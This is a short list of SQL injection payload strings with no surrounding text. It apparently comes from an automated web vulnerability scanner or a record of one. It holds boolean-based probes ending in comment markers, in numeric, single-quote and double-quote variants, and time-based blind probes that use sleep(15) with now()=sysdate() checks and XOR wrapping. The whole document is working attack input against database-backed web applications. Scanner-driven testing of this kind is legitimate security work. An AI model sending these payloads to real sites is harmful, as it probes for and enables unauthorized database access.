1

555

-1 OR 2+647-647-1=0+0+0+1 --

-1 OR 2+309-309-1=0+0+0+1

-1' OR 2+539-539-1=0+0+0+1 --

-1' OR 2+931-931-1=0+0+0+1 or 'D9BIH0WJ'='

-1" OR 2+775-775-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/